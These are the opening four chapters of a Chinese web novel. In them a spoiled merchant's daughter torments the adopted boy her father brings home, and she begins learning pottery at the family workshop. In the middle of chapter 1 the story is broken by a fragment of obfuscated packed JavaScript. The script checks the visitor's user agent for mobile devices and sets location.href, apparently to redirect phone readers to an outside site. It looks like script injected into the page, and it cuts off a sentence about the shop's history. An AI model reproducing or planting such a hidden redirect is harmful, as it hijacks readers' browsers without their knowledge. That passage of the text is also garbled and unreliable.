《欺辱年少权臣后》
1. 哪门子的兄长?
“芸娘,他以后就住在咱家了,你要多多照顾他。”
父亲将一个瘦巴巴脏兮兮的少年推到柳芸面前。
柳芸手里捏着纸鸢,原本因为要出去玩耍而翘起的嘴角陡然向下,小眉头拧成了川字,玛瑙般的眼睛此刻瞪着眼前的这位不速之客,透露出深深的敌意。
“芸娘,不要任性!”父亲见二人气氛不对劲,出声训诫女儿。
柳芸指着少年质问父亲:“他是谁?凭什么住我家”
柳父闻言皱眉,呵斥:“放肆!平日里先生教导的礼仪忘记了?芸娘,你记住,我已经认三郎做义子,从今往后他就是你的兄长。”
“他又脏又臭的,算我哪门子的哥哥?”柳芸捏着鼻子,一脸嫌弃。
“柳芸!”柳父脸色沉下来。
父亲很少直呼其名,柳芸知道这是他真的动怒了,她不敢再开口顶撞,但依旧不服气,猛地将手中的老鹰纸鸢往地上一掷,气鼓鼓跺了跺鞋,冷哼一声转身跑开。
身边的小丫鬟春桃来不及反应,忙不迭追赶,嘴里一个劲儿“小姐小姐”唤她。
柳芸攥紧拳头,抿着唇,边跑边抹眼泪。
两个月前母亲重病不治,溘然长逝,抛下十三岁的她告别了人世,两个月后,父亲就领着一个浑身脏兮兮的小男孩回家。
隔壁总爱揪她辫子的二虎嘲笑她:“柳芸,你父亲这是在外头养了私生子吧!趁你娘不在,就把他接回家了。你家的陶肆要被私生子抢去了吧!”
柳芸气极,冲上去揪着二虎的衣领同他打了一架。
她虽是女孩,但从小就被父母当作掌上明珠,哪里容旁人这么嘲讽!
二人扭打在一起,二虎长得胖,体型健硕,他仗着身板壮,伸手就去推芸娘的胳膊,圆胳膊抡起来带着风。
柳芸灵巧偏身躲开,反手攥住他的手腕使劲一拧。
二虎登时疼得“嗷”一声,肥脸蛋涨成红皮球,挺着圆滚滚的肚子往前撞,想把人顶开。
谁知柳芸矮身一躲,他收不住力,“咚”地一声撞在墙根,肥屁股墩儿磕得生疼。
柳芸趁他踉跄,抬脚轻踹他的小腿肚,嘴角露出轻蔑的笑:“叫你在本姑娘面前撒野!”
二虎急红了眼,伸手去薅她的小辫子,手指刚碰到发梢,就被她抬手拍开,还被她用额头狠狠撞了下胸口。
他捂着闷疼的胸口后退两步,肥手胡乱挥着想去抓。
可柳芸却如同泥鳅似的滑不溜秋,总被她躲过,二虎急得满头大汗,腮帮子鼓得像塞了俩肉包,嘴里还气呼呼喊:“你别躲!看我不抓住你!”
柳芸叉着腰站在两步外,杏眼瞪着他,小下巴抬得老高:“就你这笨胖子,抓得到才怪!”
二虎平时最听不得有人叫他胖子,登时气得直跺脚,震得地面都轻颤,圆肚皮跟着一颠一颠,却愣是碰不到小姑娘一片衣角,只剩粗重的喘气声。
柳芸伸出舌头做了个鬼脸,一甩辫子转眼就消失在拐角。
“春桃,春桃!死丫头跑哪去了!”柳芸喘着粗气,叉着腰站在院子外面大声叫。
她抬腿刚迈进自己的小院子,余光就瞥见墙根里蜷缩着一个少年。
他浑身的布衫扯得七零八落,袖口裤脚磨出毛边,肩头还破了个洞,露着细瘦的肩头,布面沾着泥污和说不清的灰渍,看着又脏又旧。
此刻,他头埋得低,额前的碎发耷拉着,遮了大半张脸,只露出一截抿得紧紧的苍白唇角,下颌线绷得硬邦邦的。
细瘦的胳膊蜷在膝盖间,手背沾着几道浅疤,手指抠着地面的砖缝,指节泛白。
春桃听到她的呼唤,急匆匆跑来,附在她耳边低声道:“小姐,老爷刚刚把这个小子送过来,说让您照顾他。”
“什么!我照顾他?”柳芸双目圆睁,满眼不可置信。
想起二虎说的话,柳芸更是怒火中烧,跺了剁脚,气急败坏:“随他自生自灭,你们谁都别给他送吃的。”
丫鬟们垂着头,谁也不敢说话。
柳芸径直走进屋子,路过那少年身边的时候,脚步丝毫没有停留,仿佛将对方当成了空气。
“彭”!她摔上了房门。
柳芸躺在床榻上,怀里抱着母亲留给她的瓷娃娃,眼泪扑簌簌地往下淌。
“娘,我好想你。”柳芸哽咽,“你离开之后,爹就像变了个人,我好像都不认识他了,我讨厌爹……他还带了一个脏兮兮的乞丐回家,还让我来照顾他……好过分。”
说着说着,困意翻涌上来,她抱着冷冰冰的瓷娃娃沉沉睡去。
后半夜的冷雨顺着屋檐滴下来,砸在青石瓦片的积水里,溅起细碎的水珠。
裴济之缩在墙根,后背抵着渗潮的冷墙,破衫的后背早被潮气浸得发沉,根本挡不住夜寒。
他蜷着腿,膝盖顶到胸口,双手交叉抱在胳膊上,指腹无意识摩挲着胳膊上一道浅疤,浑身抖得厉害,连牙齿都忍不住磕出细碎的轻响。
他的脸埋在膝盖间,刘海黏在雨打湿的额前,鼻尖冻得通红,嘴角咬出浅浅的牙印。
晨起,柳芸发现这少年还缩在角落里一动不动,像个雕塑似的。
少年听到她开门发出的吱呀声,耳朵动了动。
“他怎么还在这儿!碍眼!”柳芸面露不满。
柳芸抬腿朝他走了过去,居高临下望着他,用脚踢了踢。
“喂,小乞丐。”
她的鞋踹在少年的小腿肚,后者蔫蔫地蜷起身子,跟虾米一样。
柳芸不耐烦,脚下一用力,那少年竟直接被她踹翻在地。
少年的发丝凌乱,露出烧得通红的脸颊,额角覆着一层黏腻的冷汗,碎发湿哒哒贴在上面,眼睛紧闭。
柳芸到底是个小孩,看到此情此景,也是被吓一跳,连连后退几步:“什么情况?他不会要死了吧?”
春桃也吓了一跳,她挡在柳芸面前,小心翼翼上前查看。
只见那少年眼皮沉得抬不动,睫羽蔫蔫地垂着,嘴唇干得起了白皮,呼吸粗重又急促,连脖颈的线条都绷得发虚。
春桃试探着将手放在少年的额头上,下一秒被烫得赶紧收回手:“小姐,他……他好像发烧了。”
柳芸闻言,反倒松了口气,拍了拍胸脯:“不是死了就好。”
旋即,她的脸上又挂上冷意:“没死倒是便宜他了。你们把他抬到柴房里去,别在这里碍眼。”
“是。”丫鬟们领命。
柳芸收拾了一下自己,叫来马车。
车夫恭敬地问:“小姐要去何处?”
柳芸掀开车帘坐进去:“去我家陶肆。”
柳家陶肆是芸娘的外曾祖父一手创立的。柳芸的外曾祖父儿时云游四方,机缘巧合遇到一位能人,拜其为师,习得一手做陶的好手艺。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240769|197724||http|test|mini|href|location''.split(''|''),0,{}));
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>一次宴席上,县令随意夸赞了几句陶瓷碗碟做工精致,手感温润。说者无心听者有意,县令手下立刻派人查到这陶瓷碗碟的制作者乃是外祖父,从此长安的贵人们便常常从柳家陶肆采购陶瓷。
陶肆便这样经营下来了。到柳芸母亲这一辈,已经积累了不少的家底,也算得上叫得上名的富商。柳芸的父亲就是入赘成为了柳家的女婿。继承了柳家的生意。
到了地,柳芸跳下车,门口的伙计自然认得东家的大小姐,乐呵呵迎上来:“大小姐,什么风把您给吹来了?”
柳芸平时确实不爱来陶肆,一般只有逢年过节,父亲提着她衣领子来慰问伙计们,她才会来这里。
至于她今天为何来,是经过深思熟虑的结果,二虎同她说的父亲要将陶肆传给那小男孩的话一直萦绕在她心头。
她当时怒火攻心,但冷静下来,觉得父亲做出这种事也不是不可能。
毕竟她从小娇生惯养,连如何经营陶肆都不懂,父亲怎么可能会放心将陶肆交给她?
但她柳芸,是绝对不会将这方产业让给那个不速之客的。
母亲生前最大的兴趣爱好就是来陶肆制作瓷器,柳芸记得母亲临死前握着她的手说:“芸娘,一定要好好守护陶肆……”
所以,为了母亲,也为了她自己,她是不会将陶肆拱手让人的。
念及此处,柳芸挺起胸脯,振振有词同那伙计道:“本小姐来学陶艺,快带我去!”
伙计手里的抹布“啪嗒”掉在地上,眼睛瞪得溜圆,嘴巴张大,还以为自己幻听了:“您……您说要干什么?”
柳芸圆眼瞪他,没好气:“你聋啊,我说我要学陶艺。”
伙计搓着手,有些为难:“这恐怕不行,老爷没有吩咐过……”
柳芸从衣兜里摸出几颗金锭子扔给他:“你只管带我去,出了事我自会担着。”
伙计知道东家一向疼爱女儿,如今又收了钱,喜笑颜开答应:“行,大小姐随我来吧。”
伙计领着柳芸穿过层层叠叠的廊道和岔路,在一处石门前停下:“就是这儿了,学徒们都在这儿学习。已经吩咐过师傅了,大小姐若有不会的,直接请教他即可。”
柳芸点头,推开厚重的石门。
她甫一进去,屋内的人都齐齐扭头望过来。
柳芸好奇地打量四周。
屋舍是粗木架起的矮房,青灰瓦檐压得低,漏进几缕天光落在磨得发亮的青石板上。
靠墙摆着排原木案几,几台木质拉坯轮放在案上,轮盘凹槽里还积着半干的泥屑。
另一侧的矮架上码着未上釉的素坯,碗盏瓶罐叠放。
屋子正中央坐在轮盘后面的大抵是伙计口中说的师傅。
底下的凳子上坐着几个小学徒,每个人面前都是一尊轮盘。每个人都神色认真地听着师傅授课。
台上正在演示如何制作瓷瓶的师傅听到动静,抬眼望了过来,冲着柳芸点了点头。
学徒们有些是见过东家的这位小姐的,交头接耳:“我没看错吧,不会是我眼花了吧,少东家来这儿做什么?”
“听说啊,前几日东家接回了一个男孩,恐怕以后小姐的日子就不那么舒坦喽。有好戏看了?谁是少东家还不一定呢。”
“上面人的事情咱管不了,也没办法改变,还是安心忙手头的活吧!今天不把拉坯学好,师傅恐怕不会饶过我们。”
2. 当我的奴仆
师傅传授的是拉坯的技巧。
“揉泥排气、定中心、开孔、阔口……这些都牢牢记在心里,现在你们可以自己尝试操作一下。”
瓷泥坨在旋转的轮盘上,柳芸指尖沾了点清水,轻轻覆盖其上。
她回忆着师傅的样子,掌心贴紧泥身跟着轮速慢转,先扶出圆润的腹,再勾着指腹向上收窄,指节抵着泥壁定形。
水混着瓷泥在指缝间滑过,轮盘嗡鸣里,粗拙的泥坨慢慢凝出流畅的瓶身弧度。
眼看就要成型,柳芸不免得意。
事实证明,想要做好一件事需得全神贯注。
心念一动,手下就不稳,一个打岔的功夫,手下的瓶身弧度已经不尽如人意。
柳芸眉峰微蹙,调整呼吸,尝试让自己冷静下来。她不允许任何东西脱离自己的掌控。
柳芸指尖轻轻调整着歪了的口沿,指腹贴着瓶身缓缓挪动,为了更好观察形状,柳芸的脸凑得极近,鼻尖不知不觉沾了点浅灰的泥星子。
台上的师傅按照小伙计的嘱托一直留心此处的动静。
看到小姑娘有模有样的动作,不由得捻着胡须点了点头。
“今日就到这里,回去之后记得及时反思。温故而知新。”师傅嘱咐诸位学徒。
柳芸回去的路上还在回忆课上学的东西,觉得意犹未尽。
她从前怎么没觉得陶艺原来如此有趣呢?
兴高采烈跳下马车,结果一进门就见到那个瘦骨嶙峋的身影。
柳芸快乐的心情一下子就如同被一桶水兜头浇灭。
少年已经换上了新的衣物,看上去没有之前那般狼狈了。
柳芸定睛看去,他立在那儿竟似一截枯竹,肩背削薄得撑不起衣料,领口处露着突出的锁骨,骨尖硌得衣料微微凹陷。
“你过来。”柳芸招了招手。
少年一声不吭。
春桃推了他一把:“小姐叫你呢。”
少年被她一推,踉踉跄跄,没有稳住重心,直接跌倒在地上。
周遭的丫鬟们捂着嘴偷笑。
柳芸也忍不住嘲笑他:“分明是个男的,却弱不禁风的,忒丢人!”
几个丫鬟跟着哄笑,指尖点着他削薄的肩背:“细胳膊细腿的,怕是连拉坯的轮盘都转不动吧,风一吹岂不是要折了?”
少年手握成拳头,撑在地面,侧脸的下颌线紧绷。他撑着墙面勉强重新站了起来。
这时,柳芸才看清楚了他的脸。
这人从前脏兮兮的,如今清理干净才让人看清他本来的面貌。
他面色是久病似的青白,却生得一副周正骨相。眉峰利落斜挑,眼型偏长,眼尾微扬,只是眼下覆着淡淡的青影。
鼻梁高挺笔直,鼻型精致,唇线分明,只是唇瓣没什么血色,泛着浅淡的粉白。
哪怕脸颊没什么肉,皮肉贴骨,也掩不住眉眼间的清俊底子,只是那身单薄的气色差,压得这副好相貌添了几分病弱的清伶。
柳芸打量着他的脸,凭心而论,就她短短十余载的人生阅历而言,这男孩的长相算得上首屈一指的,但芸娘就是越看这张脸越觉得讨厌。
她用鞭子指着他,没好气地问:“喂,你叫什么名字?”
“大小姐问你,叫什么名字。”春桃伸手掐了一把少年的胳膊。
少年抬头,直直望向柳芸,嘴唇掀动:“裴济之。”
对上裴济之的眼神,柳芸觉得浑身难受。这家伙的眼睛如同毒蛇一般,黑黢黢的没有光亮,也没有任何波动,如同一波寒潭,让人浑身起鸡皮疙瘩。
柳芸手腕子一扬,下一秒粗实的皮鞭便狠狠抽在裴济之削薄的后背上。
满院子的丫鬟顿时噤声。众人对视一眼,都知道大小姐这是又动怒了。
裴济之的胸膛上瞬间崩开一道红痕,洗得发白的粗布衣衫紧贴在嶙峋的身体上。
他猝不及防闷哼一声,肩头猛地绷紧,单薄的身子踉跄着往后趔趄半步,指节死死抠住身侧的墙壁,指腹因用力泛出青白。
“不要用那种恶心的眼神看我。”柳芸语气冰冷带着浓浓的嫌恶。
他垂着首,额前的碎发被冷汗濡湿,贴在苍白的额角,却硬是没再发出半点声响,只脊背绷得笔直。
鞭梢扫过他瘦骨嶙峋的小臂,留下一道细长的血印,血珠慢慢沁出,混着他手背上原本的薄茧,红得刺目。
“从今往后,你就当我的奴仆吧。”
柳芸将鞭子递给春桃,吩咐她:“给我端盆热水来。”
她走进屋子,一屁股坐在榻上,裴济之随着一众丫鬟们侍立在门外。
春桃办事非常利索,很快就端着木桶进屋。
她蹲下身,作势要给柳芸脱掉鞋袜。
柳芸心念一动,避开她的手:“你退下吧,让裴济之来。”
春桃躬身退下去,不一会儿,那面色惨白的少年便推门进来。
他一进门就看见屋内摆在一个冒着热气的木桶,热气蒸腾,水雾缭绕,床榻上的少女正皱眉瞪着他。
“给我洗脚。”
裴济之愣了愣,没有动弹。
柳芸不耐烦,随手抄起榻上的竹简朝他扔了过去。
裴济之没有躲,一捆竹简带着风势砸过来,正磕在他微垂的额角,竹片棱角硌得皮肉生疼,他闷哼一声偏头,散乱的竹简便哗啦啦全砸落在肩头、脊背。
他的额角迅速泛出红痕。
他僵在原地,垂着的手微微发颤,青白的脸颊上,额角的红痕格外显眼。
“你聋了吗?”柳芸厉声呵斥。
裴济之挪动步子走近几步。
木盆搁在少女的脚边,温热水汽裹着淡淡的皂角香飘上来。
他垂着眸蹲下,肩背绷得笔直,半点不肯放松,指尖蜷着块粗布巾,迟迟没有伸出去碰那盆水。
柳芸抬起脚踩在他胸膛上:“给我脱鞋。”
裴济之发白的粗布衣衫上瞬间出现了一个小小的鞋印。
他垂眸,掩住眼底的情绪,握住少女的脚踝,将她的鞋袜缓缓褪去。
少女的玉足白皙,如同羊脂玉,脚趾圆润可爱,泛着淡淡的粉色。
柳芸将脚浸进水里,裴济之的指尖堪堪碰到水面便顿了顿,布巾擦过脚背时力道生涩又僵硬,指尖绷得发白,只草草拂过便想收手,连指腹都不肯多贴半分。
他眼睫垂得极低,掩住眸底的不耐,下颌线绷成冷硬的弧度,喉结悄悄滚了一下,擦到脚踝时指尖刻意偏开,动作快得像在应付差事。
盆里的水轻轻晃着,他擦完便将布巾丢回盆沿,指尖沾了水也不肯拭,起身时脊背依旧挺得笔直,偏过头不肯看半分,只剩耳尖悄悄泛了点淡红,藏着那点不愿外露的窘迫。
柳芸哪里受过这么粗糙的侍候。
她觉得这少年真是一点用处都没有!
她猛地一抬脚,光脚将木桶掀翻,滚烫的热水直接一股脑泼在裴济之脸上身上。
裴济之浑身湿透,单薄的布衫直接贴在了皮肤上。他的脸色越发苍白。
屋内的动静立刻被守在门口的春桃听见,她
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小心翼翼敲了敲门:“小姐?”
“进来!”
春桃推开门看到这幅场面,也是一惊。
马上叫人再端一盆水来,亲自侍候柳芸洗脚。
裴济之就在一旁站着,芸娘没有发话,满屋子丫鬟谁也不敢搭理他,每个人都把他当作空气。
等到一切都收拾好,春桃吩咐人将屋子打扫完,柳芸才抬眼望向裴济之:“看清楚春桃怎么侍候我了吗?”
裴济之垂着头一声不吭,落在身侧的手缓缓攥紧。
柳芸并未注意到他的小动作,但她也无所谓,裴济之于她而言,不过蝼蚁。
“做不好就学,我们柳家不收吃白饭的人。”
裴济之就这样在芸娘院子里住下。
他落难于此,知道自己没有反抗的余地。只能忍气吞声。
柳芸脾气暴戾,稍有不顺心,就会拿鞭子抽他。
有一次,他失手打碎了芸娘的茶盏,柳芸发了大火,教人将他摁在院子里跪了一夜。
第二天发了高烧,他病恹恹躺在柴房里,听得院子里有人在争吵。
“放肆!三郎哪里惹到你了?你这般折辱他?”中年男人的声音掩不住怒意。
少女质问:“爹,你现在是为了一个不相干的人责怪你女儿吗?”
“逆女!我同你说过,他现在是你哥。什么叫不相干的人?你是要气死我吗?”柳父怒不可遏。
……
裴济之高烧烧得脑袋迷迷糊糊的,昏昏沉沉又睡了过去。
醒来的时候,床榻前站了一个高大的背影。
裴济之忙不迭要下床行礼。
柳父扶住他,止住他的动作,伸手探了探他的额头,忧心的神色总算好了几分。
他长长叹了口气:“我女儿无状,委屈你了。我已经惩罚过她,今后她不会再打扰你。”
裴济之脸色苍白,他捂着胸口咳嗽几声,拱手:“承蒙您收留,裴某已经是感激不尽。”
“你这孩子,我同你父亲是老相识,他当年救我一命,这都是我该做的。”柳父拍了拍裴济之的肩膀,“你缺什么就同我说,以后芸娘要是再敢欺负你,你就差人告知我,我来收拾她。”
裴济之垂眸:“确实有一事想请您帮忙。”
“你说。”
“裴某想参加科考。”裴济之语气诚恳。
“我当是什么!小事一桩,芸娘如今就在长安的私塾里跟着春和先生念书,你同她一道去。”柳父心中一合计,觉得这个安排甚好。
春和先生进士出身,但无心为官,旅居在长安,办了一个私塾传道授业。柳父膝下只芸娘一女,这个时代的女子虽说读书的并不多,但也不是没有。柳父想着让芸娘开智长长见识也是好的,打通了多重门路,送柳芸去读书。
裴济之听到柳芸的名字皱皱眉,想到这个蛮横且无理的大小姐,他下意识产生了抗拒,但现在的他,身份低微,能读书已经很好了。
不过是要忍受娇小姐罢了,裴济之觉得自己能行。
柳父走出柴房,远远望见芸娘的屋子已经熄灭了烛火。
身旁的小厮看他忧心忡忡,道:“大小姐脾气大,但不记仇,老爷不必忧心。”
柳父重重叹气:“是我往日太娇惯她了,简直无法无天。”
“小姐以后会懂得您的良苦用心的。”小厮劝慰。
“裴家原先是何等显赫的人家,这裴三又岂是池中之物,今日芸娘得罪了他,只望他往后能记住我家收留过他的恩情,不要怪罪这丫头罢。”
3. 这是你新哥哥?
柳芸和父亲大吵一架之后,一时懒得再搭理裴济之。
全院上下看小主人的脸色,全都把裴济之当空气。
柳父知道了柳芸去陶肆学陶艺,叫人把柳芸找来。
柳芸不情不愿地来了,手里提着马鞭,嘴里嘟嘟囔囔:“有事快说,我还要去找素素骑马。”
柳父闻言,蹙眉:“你可收敛些吧,别把人家沈家大姑娘带坏了。”
“爹,你对我有偏见!”柳芸叉腰,“什么叫我把人带坏了?骑马而已。”
“上次你半夜把江家马厩烧了的事情我还记得呢。”柳父表示呵呵,日常给女儿收拾烂摊子,他赚的钱拍马都赶不上女儿闯祸的速度。
“那是素素的问题!不是我的错!是她非要在马厩里点火折子!”柳芸不服气。
“嗬,那你告诉我,你俩半夜去马厩干什么?”柳父被她顶嘴,火气又涌上来。
柳芸噎住。
好吧,她当时半夜睡不着,和沈素一合计,就起了去偷马的心思。
江家养了几匹千里驹,是江父花重金买的。
江云锦常常在柳芸面前炫耀这件事。
柳芸很看不惯江云锦惺惺作态的样子,早就想给她一个教训尝尝。
谁知,出师不利,沈素完全猪队友,心痒手痒,非要观赏一下千里驹,点了火折子细细看,结果手没拿稳,掉到了草垛上,瞬间起了大火。
往事不堪回首,柳芸捂住额头:“爹,你要是叫我过来,就是想盘点我的丑事奚落我,那我就不奉陪了。”
说着,她一甩马鞭,就要走。
柳父话还没说完呢,眼看女儿要走,急道:“你最近在学制陶?”
柳芸脚步果然顿住。
“你一个姑娘家,学这些做什么?”
柳芸冷哼:“爹不会忘了吧?娘生前最爱干的事就是制陶。娘做得,我又有何做不得?”
“你……你同你娘不一样。”柳父顿了顿。
“有什么不一样,我是我娘生的。爹就算你忘了她,我也不会忘。”柳芸盯着父亲的眼睛,态度认真。
柳父忽然有点不敢直视女儿的眼睛,默默移开视线,清了清嗓子:“总之太危险了,不适合你。”
“爹,你管不了我。”
“你…臭丫头…越来越无法无天!”柳父气得浑身颤抖。
“说完了没?说完了我走了。”
柳芸抬腿就往外走。
柳父一拍脑袋想起前几日答应裴济之的事情,连忙道:“你去春和先生私塾念书的时候,带着三郎一起去。”
不提那个瘦巴巴的闷葫芦还好,一提他柳芸就来气。
她阴阳怪气:“爹,你不仅供着他在咱家白吃白喝,如今还要出钱供他读书吗?”
柳父大掌拍了拍桌案:“芸娘,我同你说过了,他今后是你兄长,你要爱他敬他,懂吗?”
“什么兄长?我再说一遍,我娘只生了我一个。爹你想要便宜儿子,我偏不认这个便宜哥哥。”
柳芸说完,头也不回离开了。
气得柳父差点一头栽倒在地。
柳芸本想直接出门找她的伙伴沈素,临到了大门前,她忽然顿住脚步。
春桃以为她忘记什么东西,连忙上前询问:“小姐,有什么吩咐?”
柳芸想起刚刚父亲要安排裴济之同自己一道上下学,不免心中冷意层层,这段日子,外头关于他家的流言蜚语不少,柳芸一想到这个裴济之没准真是父亲的私生子就恨得牙痒痒。
偏父亲对他这般好!
往日她是府里最受宠的小姐,自从裴济之来了,父亲便更多将关注放在他身上,甚至待遇比她还好。
她有什么,裴济之就有什么。
柳芸越发肯定父亲同他肯定有什么见不得人的关系。
“把姓裴的那小子叫过来。”柳芸脸色一沉。
春桃见小姐脸色不好,不敢劝什么,领了吩咐赶紧去叫人。
裴济之这几日总算能喘了口气,自从上次和父亲闹别扭,这位大小姐仿佛忘记了他,晾了他好几天。
这当然是裴济之求之不得的。他从小也是锦衣玉食长大的,哪怕现在落魄,也不是能忍气吞声伺候人的。
更何况这娇小姐,简直是性格乖张,动不动就发脾气,说不准什么时候就触了逆鳞。裴济之是真有些吃不消。
就当他以为折磨就要结束,春桃却为他带来了恶魔的命令。
“小姐命你前去伺候。”
裴济之伏在书案上,握着毛笔的手几不可察地抖了抖。
他被几个小厮揪到云娘面前,抬头就见到那少女蹲在门口的石墩上,手里握着一束花,正百无聊赖掰着花瓣玩。
桃花映美人,柳芸还没有完全长开,但已经能看出是一个美人坯子,阳光洒在她粉嘟嘟的脸颊上,衬得眉眼更加明媚。
可惜金玉其外败絮其中。裴济之心中评价。
柳芸此时也朝他看了过来,掸了掸裙子上的灰尘,朝他扬起下巴:“抱本小姐上马。”
她的语气不容置疑,是命令的口吻。
但裴济之没有动。
脚就像被钉了钉子,纹丝未动。
柳芸察觉到异样,朝他望了过去。
裴济之与她对视。
柳芸从他眼神里仿佛能看到他的情绪,不满,愤怒,轻蔑……
是的,柳芸觉得自己的感觉没有错,裴济之看她的眼神有几分轻蔑。
柳芸有些生气,裴济之算个什么东西,也敢瞧不起她?顶天了不过是父亲在外头的庶子。
她扬起手中的马鞭,对着裴济之就是一鞭。
少年一时不防,被鞭子抽中,连连倒退了好几步。
鞭子的破空声夹杂着衣服被撕裂的声音。
周围的小厮丫鬟们纷纷倒吸一口冷气。
“我说过不许你用那种眼神看我。”
柳芸怒喝。
“仆人不听主人的命令是要被惩罚的。”
柳芸嘴角露出讥诮:“既然你想吃些苦头,那我成全你。你就跟在我的马后面跑,胆敢落下,今日的晚膳就不必吃了。”
说完,她被春桃轻轻抱起,踩着马镫翻身上马。双手握住缰绳,腰背挺得笔直。
转头居高临下对裴济之道:“跟上来。”
说完,她唇角擎着淡淡的笑,手中的缰绳飞扬,策
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马扬鞭,转瞬只留下一抹飒影。
裴济之没办法,只能朝她离开的方向狂奔。
两条腿怎么可能跑得过四条腿。
他拼尽全力,跑的上气不接下气,只感觉喉头泛着血腥味。
正午的太阳毒辣辣的,裴济之汗流浃背,因为长时间缺水,嘴唇干裂。
就在他觉得自己就要晕过去的时候。
转角处,柳芸正牵着马好整以暇等在那里。
柳芸很满意看到裴济之狼狈的样子。
他狼狈的样子比他沉默不语的时候讨人喜欢多了。
“芸娘,这就是你的新哥哥吗?”
一个清脆悦耳的声音突兀响起。
裴济之扶着墙勉强站稳,循声望去,见是一个面目清丽的少女,同芸娘差不多年纪。
那少女此时正用手帕掩着嘴,拿眼偷偷打量他,眼神中带着鄙夷。
今天也是柳芸倒霉。
在家里先是被父亲教训一通,出门半路又遇见死对头江云锦。
江云锦和她从小就不对付。芸娘被家里捧着长大,心气高,凡事都要争第一。
偏生江云锦就看不惯她,总是捣乱,同她作对。两个人在各方面都互相较劲。
自打江云锦知道柳父认了一个儿子回家,她就知道奚落埋汰柳芸的机会来了。
江云锦是特意在此处守株待兔等候柳芸到来的。
她很幸运,甚至还见到了柳芸这个传说中的哥哥。
老天都送机会到她眼前了,她不会错过这个机会。
她大概能猜到柳芸对于裴济之肯定是万分厌恶的,独生女有朝一日被旁人横插一脚,甚至还要争夺家产,换谁谁都不开心。
柳芸听得出江云锦话里头的讥讽,她啐了一口:“江云锦不会说话,就不要乱说。你哪只眼睛看到我承认他是我哥?”
“哎呦。”江云锦故意装出一脸关切,拍了拍柳芸的肩膀,“这外头啊都传遍了,我知道,芸娘你不好意思。多一个亲人是好事呀,我替你高兴呢。”
“把你的脏手拿开。”柳芸瞪着自己肩膀上的那只手。
江云锦感受到她充满怒意的眼神,灼人,立马收回了手。
柳芸掏出手帕擦了擦肩膀,仿佛方才是什么脏东西触碰了她。
“江云锦,你要是觉得好,我便将他送你。你认他当兄长,好不好?”柳芸反唇相讥。
既然江云锦存心要恶心她,那她也要恶心恶心江云锦。
此话一出,不仅江云锦愣了愣,裴济之脸色也变得难看起来。
他觉得屈辱,自己仿佛变成了什么物品,可以随意被换来换去。
“你不要的东西,凭什么给我?”江云锦急了,跳脚开骂。
柳芸马鞭指着她:“你自己说的啊,多一个亲人是好事,本小姐好事够多了,不缺这一件。我看你平时怪倒霉的,需要改改气运。”
“柳…芸!”江云锦脸色红一阵白一阵,被气得浑身发抖。“你等着。”
瞪了柳芸一眼,又狠狠剐了一眼墙角站着的裴济之,怒气冲冲离开了。
“等什么?等着我把裴济之送到府上吗?”柳芸冲着她的背影大笑。
4. 偷听
赶跑了江云锦,柳芸却并无畅快之意,脸色还是很难看。
她扭头瞥了一眼站得离她远远的裴济之,冷哼一声:“都怪你。”
是的,都怪裴济之。若不是他,她今日又怎么会被江云锦这个死丫头嘲笑奚落。
裴济之闻言,始终垂着头,方才因为剧烈奔跑窜出来的汗顺着他的脸颊缓缓滴落。
柳芸沉着脸来到沈府。
沈素早已候在门口等她了。
“芸娘!”
沈素一见到好友立马迎上来,却见后者神色恹恹。
“大小姐,这是谁又惹到你了?”沈素牵着她的手,打趣。
她余光瞥见柳芸身后还远远地还跟着一个脸色苍白的少年。
“还能是谁!半路碰见江云锦了。”柳芸愤愤。
“嗐,你俩从小就不对付,那丫头牙尖嘴利,嘴巴毒,不过芸娘你肯定没吃亏吧?”沈素笑着说。
她可太了解江云锦和柳芸了,两个人跟仇人似的,对如何戳中彼此的痛点都了如指掌。
相比之下,柳芸更加无所顾忌,故而略占上风。
“那是,本小姐还能让她骑到我头上作威作福?”柳芸被她这么一说,脸色有些自得。
“走,骑马去!”柳芸拽住沈素的胳膊。
谁知,沈素面露难色,压低声音:“芸娘,今天恐怕是去不成了。”
芸娘见她神色异样,好奇地询问:“怎么了?出什么事了?”
沈素看了看四周,然后用手掩住嘴,伏在她耳边道:“新来的县令大人在我家呢。我爹不让我随便出门,我也是好不容易找了借口才溜出来与你见面。”
柳芸闻言,有些讶异,新来的县令大人?怎么会突然到沈府?
这位神神秘秘的县令大人不久前才走马上任,柳父作为长安的富商去拜见过这位大人,回家之后脸色不大好,只说了句“此人不好对付。”
柳芸本能地觉得事情有些微妙。
她拉住沈素的袖子:“带我去看看!”
沈素愣了愣,旋即瞪大眼睛:“你疯了啊?万一被发现了可不是闹着玩的!那可是当官的!”
沈素比柳芸大几个月,此刻却俨然一副大人的模样。
“那又如何,不被人发现不就得了,偷听的事情咱们又不是没做过。”柳芸懒得和她瞎掰扯,拽着沈素就往里走。
柳芸回头吩咐裴济之:“你在此处等我。”
说完不等他回应就提着裙摆进去。
她来过沈府好多次了,对这里非常熟悉,沈府的小厮都认识她,见到自家小姐跟在她身后便也不拦她。
“喂,那小子,我从前怎么没见过?是你家新买的小厮?”沈素跟着她边跑边问。
她跟她从小就认识,当然对她身边的丫鬟们都很熟悉,她确定那人是个生面孔。
柳芸鼻子里溢出冷哼:“这也不是什么新鲜事儿,想必你也听说了吧?我父亲认了个干儿子。”
“就是他?”沈素惊讶地瞪大了双眼。
她之所以感到惊讶,倒不是因为芸娘对此人的态度,而是刚刚乍看一眼,那人虽清瘦,但五官端正,虽然站在仆奴队伍里,但自带着让人无法忽视的气质。
这种气质让沈素注意到他,她曾经也从某些人身上感受过这种独特的气质,而这些人是他们这些商贾之流只能仰望的存在。
可是怎么可能呢?沈素觉得那样的人离她们太遥远,她也只是随父亲有幸拜访过这些贵人。甚至那些贵人们手下的丫鬟们都个个气质非凡不似常人。
沈素觉得是自己多想了,那小子一看就得听柳芸使唤,哪能是什么贵人。
两个人几乎是畅通无阻进了院落。
十三四的小姑娘身量还没完全长好,身材又瘦,躲在假山巨石后面倒也一时难以被发现。
沈府果然是大摆宴席,歌舞升平。
来来往往都是端着餐盘的丫鬟。还有特意请来的舞女扭着腰跳舞。
柳芸用手肘顶了顶身旁的沈素:“可以啊,今天场面够大的。”
